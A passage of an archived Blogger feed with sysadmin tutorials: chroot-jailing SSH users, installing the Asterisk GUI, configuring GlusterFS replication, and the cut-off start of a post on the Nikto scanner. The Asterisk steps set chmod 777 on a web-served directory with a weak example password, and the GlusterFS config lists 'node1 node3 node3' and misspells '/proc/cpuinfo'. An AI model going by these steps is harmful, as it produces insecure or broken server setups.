0);"&gt;user_x&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none; color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt; ChrootDirectory&lt;span style="color: rgb(204, 0, 0);"&gt; /home/jail/&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none; color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt; AllowTcpForwarding no&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none;"&gt;Luego reinicar el servicio de ssh:&lt;/p&gt;&lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;span style="font-style: italic;"&gt;Slackware: &lt;/span&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; text-decoration: none; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#/etc/rc.d/rc/sshd restart  &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none; font-style: italic;"&gt;Debian:&lt;/p&gt;&lt;p style="margin-bottom: 0in; text-decoration: none; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#/etc/init.d/ssh reload&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; text-decoration: none; font-style: italic;"&gt;Ubuntu:&lt;/p&gt;&lt;p style="margin-bottom: 0in; text-decoration: none; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#service ssh reload&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;span style="font-weight: bold;"&gt;Paso #4&lt;/span&gt; &lt;span style="font-style: italic;"&gt;“Probar la jaula realizando una conexión”:&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#ssh -l user_x localhost&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;user_x@localhost's password: &lt;/span&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;XXXXX&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;span style="font-size:85%;"&gt;-bash-4.1$ &lt;span style="color: rgb(204, 0, 0);"&gt;ls  &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none; color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;bin  dev  etc  home  lib64  sbin  usr&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;span style="font-size:85%;"&gt;-bash-4.1&lt;span style="color: rgb(204, 0, 0);"&gt;pwd&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;/&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;Ahora debes comparar la los archivos que hay en la raíz de esa conexión ssh que acabaste de hacer, con los del sistema real; lo cual te darás cuenta que no es el mismo.  &lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;Otra formas es listar en el sistema real la carpeta&lt;span style="font-weight: bold;"&gt; /home/jail &lt;/span&gt;y la compara con el listado de la raíz “&lt;span style="font-weight: bold;"&gt;/&lt;/span&gt;” de la conexión ssh con el usuario slackuser.  &lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none; font-weight: bold;"&gt;NOTA:  &lt;/p&gt;  &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;Con esta configuración que acabamos de hacer; el usuario slack solo puede ejecutar lo que esta seteado en la&lt;span style="font-weight: bold;"&gt; linea 121 &lt;/span&gt;del script &lt;span style="font-weight: bold;"&gt;make_chroot_jail.sh&lt;/span&gt;; si desean agregar mas comandos para que ese usuario pueda ejecutarlos solo es que agreguen el path completo del comando, tal y como esta en la&lt;span style="font-weight: bold;"&gt; linea 121&lt;/span&gt; y y por ultimo ejecutar el script de nuevo pero con la opción update:  &lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; text-decoration: none; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#./make_chroot_jail.sh  update&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; text-decoration: none;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; text-decoration: none"&gt;Gracias ...&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-2495419772293267371?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/2495419772293267371/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/10/ssh-enjaulado.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/2495419772293267371'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/2495419772293267371'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/10/ssh-enjaulado.html' title='SSH Enjaulado'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-kJxjBgAdTOo/TqP1jG-YWEI/AAAAAAAABZc/2u189VIJeJ0/s72-c/openssh_logo.jpg.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-1984505353102937234</id><published>2011-10-22T23:14:00.000-07:00</published><updated>2011-10-22T23:21:33.797-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Asterisk'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><title type='text'>Asterisk GUI</title><content type='html'>&lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;Asterisk-GUI es una ADD agregado al paquete de asterisk desde la versión 1.4, dicho ADD, tiene la opción de iniciar una interfaz gráfica donde se pueden configurar extensiones y planes de marcado de manera fácil para una red interna.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Configurar el asterisk GUI:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Editar el archivo /etc/asterisk/http.conf&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;# vi /etc/asterisk/http.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;deben de quedar las lineas en el siguiente orden:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;[general]&lt;br /&gt;enabled = yes&lt;br /&gt;enablestatic = yes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;bindaddr = 192.168.1.1&lt;/span&gt;    =&amp;gt; Ip del servidor asterisk&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;bindport = 8088  &lt;/span&gt;            =&amp;gt; Puerto por donde accederemos al GUI de asterisk&lt;br /&gt;&lt;br /&gt;         &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0in; text-decoration: none"&gt;Guardar y salir de la edición del archivo.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;Editar el archivo /etc/asterisk/manager.conf&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;# vi /etc/asterisk/manager.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;deben quedar las lineas en el siguiente orden:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;[general]&lt;br /&gt;enabled = yes&lt;br /&gt;webenabled = yes&lt;br /&gt;port = 5038&lt;br /&gt;bindaddr = 127.0.0.1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;[admin]  &lt;/span&gt;   =&amp;gt; Nombre del usuario que va administrar el Asterisk-GUI ademas de ser un label.&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;secret = 12345.x   &lt;/span&gt;     =&amp;gt; Password de logeo a la aplicacion Asterisk-GUI&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;read = system,call,log,verbose,agent,user,config,dtmf,reporting,cdr,dialplan&lt;br /&gt;write = system,call,agent,user,config,command,reporting,originate&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Descargar e instalar el Asterisk-GUI&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Posicionarse en un directorio seguro: /usr/local/src&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;# cd /usr/local/src&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Descargar el Codigo fuente de Asterisk-GUI con subversion:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;# &lt;/span&gt;&lt;em&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;svn co http://svn.digium.com/svn/asterisk-gui/branches/2.0 asterisk-gui-2.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/em&gt; Entrar al directorio descargado:&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;&lt;br /&gt;# cd asterisk-gui&lt;/span&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;-2.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Configurar la instalacion:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;# ./configure&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Compilar el codigo fuente:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;# make &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Instalar el paquete:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;# make install&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Comprobar la instalación y configuración del asterisk:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;# make checkconfig&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Reiniciar el asterisk:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;/etc/init.d/asterisk restart&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Configurar algunos enlaces simbólicos:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-size:85%;" &gt;# cd /usr/share/asterisk/static-http&lt;br /&gt;# ln -s /var/lib/asterisk/static-http/config&lt;br /&gt;# ln -s /var/lib/asterisk/static-http/index.html&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Setear los siguientes permisos:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-size:85%;" &gt;# chmod 777 /var/lib/asterisk/static-http/config&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Probar el Asterisk-GUI:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Abrir la siguiente URl en un navegador:&lt;br /&gt;&lt;br /&gt;http://ip_del_servidor:8088/static/config/index.html&lt;br /&gt;&lt;br /&gt;Gracias !!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-1984505353102937234?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/1984505353102937234/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/10/asterisk-gui.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/1984505353102937234'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/1984505353102937234'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/10/asterisk-gui.html' title='Asterisk GUI'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-9065201121731973102</id><published>2011-10-22T22:05:00.000-07:00</published><updated>2011-10-22T23:08:09.170-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='GlusterFS'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><title type='text'>GlusterFS</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-0OWSurjusX0/TqOvPuBbhEI/AAAAAAAABYQ/Lh29vXfi3mA/s1600/logo-glusterfs.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 160px; height: 40px;" src="http://3.bp.blogspot.com/-0OWSurjusX0/TqOvPuBbhEI/AAAAAAAABYQ/Lh29vXfi3mA/s320/logo-glusterfs.png" alt="" id="BLOGGER_PHOTO_ID_5666565440749143106" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;&lt;span style="font-size:85%;"&gt;&lt;a style="font-weight: bold;" href="http://www.gluster.org/"&gt;GlusterFS&lt;/a&gt; is an open source, clustered  file system capable of scaling  to several petabytes and handling  thousands of clients. GlusterFS  clusters together storage building  blocks over Infiniband RDMA and/or  TCP/IP interconnect, aggregating  disk and memory resources and managing  data in a single global  namespace. GlusterFS is based on a stackable  user space design and can  deliver exceptional performance for diverse  workloads. &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:85%;"&gt;The  GlusterFS modular architecture allows administrators to stack  modules  to match user requirements, as needed. For example,  administrators can  use GlusterFS to quickly configure a standalone  server system and later  expand the system as needs grow. &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:85%;"&gt;GlusterFS  v3.2 includes the ability to set quota on the usage of  disk space by  directories or volume. The storage administrators can  control the disk  space utilization at the directory and/or volume levels  in GlusterFS by  setting limits to allocatable disk space at any level  in the volume  and directory hierarchy. This is particularly useful in  cloud  deployments to facilitate utility billing model. &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:85%;"&gt;GlusterFS  Geo-replication provides a continuous, asynchronous,  and incremental  replication service from one site to another over Local  Area Networks  (LANs), Wide Area Network (WANs), and across the Internet. &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:85%;"&gt;Gluster  v3.2 introduces Volume Top and Profile commands to  monitor different  parameters of the workload, thereby helping in  capacity planing and  performance tuning tasks of the GlusterFS volume.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Implementation: &lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Work Environment:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;3 Machines with Ubuntu as Operating System.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;These machines will be client and server "GlusterFS" simultaneously.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Configure GlusterFS Service or Server: &lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Install GlusterFS software:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#apt-get install glusterfs-server&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Add host's  IP at /etc/hosts&lt;/p&gt;&lt;p style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#vi /etc/hosts&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;192.168.0.1 nodo1&lt;br /&gt;192.168.0.2 nodo2&lt;br /&gt;192.168.0.3 nodo3&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Create in all nodes, the following directory:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#mkdir  /opt/gluster&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Create the following file, in all nodes: &lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;#vi /etc/glusterfs/glusterfsd.vol &lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;volume posix&lt;br /&gt;type storage/posix&lt;br /&gt;option directory /DATA/gluster/export&lt;br /&gt;end-volume&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;volume locks&lt;br /&gt;type features/locks&lt;br /&gt;subvolumes posix&lt;br /&gt;end-volume&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;volume brick&lt;br /&gt;type performance/io-threads&lt;br /&gt;option thread-count 8&lt;br /&gt;subvolumes locks&lt;br /&gt;end-volume&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;&lt;br /&gt;volume server&lt;br /&gt;type protocol/server&lt;br /&gt;option transport-type tcp&lt;br /&gt;option auth.addr.brick.allow 192.168.0.1,192.168.0.2,192.168.0.3&lt;br /&gt;subvolumes brick&lt;br /&gt;end-volume&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;NOTE:&lt;/span&gt; &lt;span id="result_box" class="" lang="en"&gt;&lt;span class="hps"&gt;With&lt;/span&gt; &lt;span class="hps"&gt;this configuration&lt;/span&gt; &lt;span class="hps"&gt;on all nodes&lt;/span&gt;&lt;span class=""&gt;, server or&lt;/span&gt; &lt;span class="hps"&gt;service is&lt;/span&gt; &lt;span class="hps"&gt;fully installed and functional.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Configure GlusterFS Client: &lt;/span&gt;&lt;br /&gt;&lt;span id="result_box" class="" lang="en"&gt;&lt;span class="hps"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Create the following file, in all nodes: &lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#vi /etc/glusterfs/glusterfs.vol&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;volume node1&lt;br /&gt;type protocol/client&lt;br /&gt;option transport-type tcp&lt;br /&gt;option remote-host node1&lt;br /&gt;option remote-subvolume brick&lt;br /&gt;end-volume&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;volume node2&lt;br /&gt;type protocol/client&lt;br /&gt;option transport-type tcp&lt;br /&gt;option remote-host node2&lt;br /&gt;option remote-subvolume brick&lt;br /&gt;end-volume&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;volume node3&lt;br /&gt;type protocol/client&lt;br /&gt;option transport-type tcp&lt;br /&gt;option remote-host node3&lt;br /&gt;option remote-subvolume brick&lt;br /&gt;end-volume&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;volume replicate&lt;br /&gt;type cluster/replicate&lt;br /&gt;subvolumes node1 node3 node3&lt;br /&gt;end-volume&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(0, 153, 0);"&gt;&lt;span style="font-size:85%;"&gt;volume writebehind&lt;br /&gt;type performance/write-behind&lt;br /&gt;option window-size 1MB&lt;br /&gt;subvolumes replicate&lt;br /&gt;end-volume&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;volume cache&lt;br /&gt;type performance/io-cache&lt;br /&gt;option cache-size 128MB&lt;br /&gt;subvolumes writebehind&lt;br /&gt;end-volume&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Create mount point in all nodes:&lt;/p&gt;&lt;p style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#mkdir /mnt/glusterfs&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Start glusterfs service in all nodes.&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;#/etc/init.d/glusterfs-server restart &lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Then mount all shared directory, in all nodes:&lt;/p&gt;&lt;p style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#mount -t glusterfs /etc/glusterfs/glusterfs.vol /mnt/glusterfs&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-style: italic;"&gt;or &lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#glusterfs /mnt/glusterfs&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Testing: &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Create a file in node1 with some information, example: &lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;#cat /proc/cepuinfo &amp;gt; /mnt/glusterfs/file1.txt &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;then ... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;go to&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;node2&lt;/span&gt; an &lt;span style="font-weight: bold;"&gt;node3&lt;/span&gt; and search in to directory&lt;span style="font-weight: bold;"&gt; /mnt/glusterfs&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#ls /mnt/glusterfs&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;file1.txt&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-style: italic;"&gt;File should  exist too&lt;/span&gt; !!!&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Thks !!&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-9065201121731973102?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/9065201121731973102/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/10/glusterfs.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/9065201121731973102'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/9065201121731973102'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/10/glusterfs.html' title='GlusterFS'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-0OWSurjusX0/TqOvPuBbhEI/AAAAAAAABYQ/Lh29vXfi3mA/s72-c/logo-glusterfs.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-2317505054849880332</id><published>2011-10-20T21:40:00.000-07:00</published><updated>2011-10-25T22:30:51.425-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tools'/><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><title type='text'>Nikto - Escaner de vulnerabilidades en servidores web</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-Dn4OuGE-4sY/TqD4XBmGh8I/AAAAAAAABYE/vUinOYRdOwE/s1600/nikto.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 174px; height: 320px;" src="http://1.bp.blogspot.com/-Dn4OuGE-4sY/TqD4XBmGh8I/AAAAAAAABYE/vUinOYRdOwE/s320/nikto.png" alt="" id="BLOGGER_PHOTO_ID_5665801405681010626" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;        &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }   A:link { so-language: zxx }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;a 